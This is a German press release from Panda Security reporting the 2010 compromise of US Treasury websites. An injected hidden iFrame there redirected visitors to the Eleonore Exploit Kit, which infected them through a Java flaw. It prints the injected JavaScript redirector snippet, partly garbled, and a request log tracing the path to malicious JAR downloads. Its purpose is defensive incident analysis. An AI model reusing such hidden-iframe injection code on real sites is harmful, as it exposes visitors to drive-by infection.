

## IT-Sicherheit:

### Webseite des US-Finanzministeriums gehackt

Onlinekriminellen ist es gelungen, in die Webseite des US-Finanzministeriums einen iFrame einzubetten. Er dient dazu, im Verborgenen eine der wesentlichen URLs des Eleonore Exploit Kit zu laden. Das Kit fasst verschiedenen Exploits für unterschiedliche Browser oder andere populäre Anwendungen zusammen und liefert die beste Methode, die Sicherheitslücke des jeweilig benutzen Browsers in Kürze auszuspionieren. Luis Corrons, der Direktor der PandaLabs hat das Angriffsszenario detailliert auf seinem Blog zusammengefasst.

Der iFrame leitet Besucher der gehackten Webseite (treas.gov, bep.gov oder moneyfactory.gov) unbemerkt durch statistische Server und Exploit Packs. Bei Luis Corrons fand das Exploit Kit eine Sicherheitslücke in Java, über die das System in seinem Fall am einfachsten infiziert werden konnte.

```
script><script language="JavaScript">br = navigator.appName + parseInt(navigator.appVersion);
if (code != '' || br == 'Netscape2') document.write(code);else document.write(''+ '<noscript></noscript><!--End Superstats tracking code. --></body></html><SCRIPT>
function addCookie(name, value, hours)
{
  var date = new Date();
  date.setTime(date.getTime()+(hours*3600000));
  var expires = ""; expires="+date.toGMTString();
  document.cookie = name+"="+value+expires+";";
  document.write('<iframe frameborder="0" onload="\' if (this.src){ this.src="http://
...in.cgi?3"; this.height=0; this.width=0; } \\'></iframe>');
  addCookie("Pook", "1" - 24);
}
```

Es ist bislang unklar, welche Schwachstelle der US Treasury Webseite das Eindringen zuließ. Sicher ist jedoch, dass diese Angriffe für gewöhn-

## Presseinformation Duisburg, 04.05.2010

Bilder und mehr im Online-Pressoffice:  
<http://panda.talkabout.de>

Panda Security im Netz:



<http://pandanews.de/>



<http://twitter.com/pandanewsde>



[flickr.com/photos/panda\\_security](http://flickr.com/photos/panda_security)



[youtube.com/user/PandaTV](http://youtube.com/user/PandaTV)



[bit.ly/Panda-Security](http://bit.ly/Panda-Security)

lich immer Lücken durch veraltete Server Software, Web-Applikationen oder Sicherheitslücken in Web-Applikationen wie zum Beispiel SQL-Injections ausnutzen. Nach erfolgreicher Infektion wird der Browser des befallenen PCs sein Opfer zu anderen Anwendungen, im Beispiel von Corrons, zu Rogueware, also falscher Antiviren-Software umleiten.

Line	Code	Method	Host	Path	Notes
21	200	HTTP	www.bep.treas.gov		← United States Treasury Website
22	200	HTTP	www.bep.treas.gov		
23	302	HTTP	stats.superstats.com	/in.cgi?3	← stats
24	302	HTTP			← injected iframe/redirector
25	200	HTTP	stats.superstats.com		
26	200	HTTP		/jobs/	
27	200	HTTP		/jobs/error.js.php	
28	200	HTTP		/jobs/pdf.php	
29	404	HTTP	www.bep.treas.gov	/favicon.ico	
30	200	HTTP		/jobs/?spl=2&br=MSIE&vers=7.0&s=	→ exploit kit
31	200	HTTP		/jobs/error.js.php	
32	302	HTTP		/jobs/%E0%AC%8B%E0%AC%8BAAAAAAAAAAAAAAAAAAAA	
33	502	HTTP		/	
34	200	HTTP		/jobs/?spl=3&br=MSIE&vers=7.0&s=	
35	200	HTTP	java.com	/inc/dtoolkit.xml	
36	301	HTTP	java.sun.com	/webapps/download/AutoDL?BundleId=22895	
37	302	HTTP	javadi.sun.com	/webapps/download/AutoDL?BundleId=22895	
38	200	HTTP	sdic-esd.sun.com	/ESD43/JSCDL/j2sdk(1.4.2_18/j2re-1.4_2_18-windows-i586-p-ftw...	
39	200	HTTP		/jobs/j1_893d.jar	
40	200	HTTP		/jobs/j2_079.jar	← Infection
41	200	HTTP	crl.verisign.com	/pca3.crl	
42	200	HTTP	CSC3-2004-crl.veris...	/CSC3-2004.crl	
43	200	HTTP	java.sun.com	/	

Für sicheres Web-Browsen erinnert Corrons daran, für alle Web-Applikationen und die gesamte Server-Software jedes neue Update ohne Zeitverzug zu installieren.

Der gesamte Blogbeitrag steht auf dem Blog der PandaLabs in englischer Sprache zur Verfügung: <http://pandalabs.pandasecurity.com/usa-treasury-website-hacked-using-exploit-kit/>

## Weitere Informationen

Bilder und mehr im Pressoffice:  
<http://panda.talkabout.de>

**talkabout communications gmbh**  
 Frank Brodmerkel  
 Balanstraße 73 / Gb. 10  
 81541 München  
 Tel.: +49 89 459954-18  
 Fax.: +49 89 459954-44  
 fbrodmerkel@talkabout.de  
 Web: <http://www.talkabout.de>

**Panda Security**  
 PAV Germany GmbH  
 Danica Dorawa  
 Presse & PR  
 Dr.-Alfred-Herrhausen-Allee 26  
 47228 Duisburg  
 Tel.: +49 2065 / 961-325  
 Fax: +49 2065 / 961-195  
 danica.dorawa@de.pandasecurity.com  
 Web: [www.pandasecurity.com/germany](http://www.pandasecurity.com/germany)

## Über Panda Security

1990 in Bilbao, Spanien, gegründet, hat sich Panda Security zum Ziel gesetzt, seinen Kunden intelligenten Schutz gegen Malware bei geringstmöglicher Systembelastung zu bieten. Als erster Anbieter überhaupt hat Panda dazu eine Scan-Technik vorgestellt, die die Vorteile des Cloud-Computing mit der Schwarmintelligenz aller Panda-Nutzer kombiniert. Wird irgendwo auf der Welt ein neues Schadprogramm entdeckt, kann Panda alle seine Nutzer durch diesen „Collective Intelligence“-Ansatz aktuell in der Regel schon nach sechs Minuten schützen. Panda Security entwickelt und vertreibt leistungsfähige Consumer- wie auch Corporate-Lösungen.

In Deutschland und Österreich leitet die PAV Germany GmbH das Panda-Geschäft und bietet Unternehmenskunden kostenfreien 24/7/365-Support auf Deutsch durch die eigenen Techniker. Den Vertrieb organisiert die PAV durch Channel-Partner. Mit mehr als 56 Niederlassungen weltweit und einem Kundentamm aus fast 200 Ländern hat sich Panda Security eine globale Präsenz geschaffen. Zahlreiche internationale Unternehmen vertrauen den Sicherheitslösungen von Panda, darunter u. a. DHL, VW, Opel, Telefonica, Hertz oder Pirelli.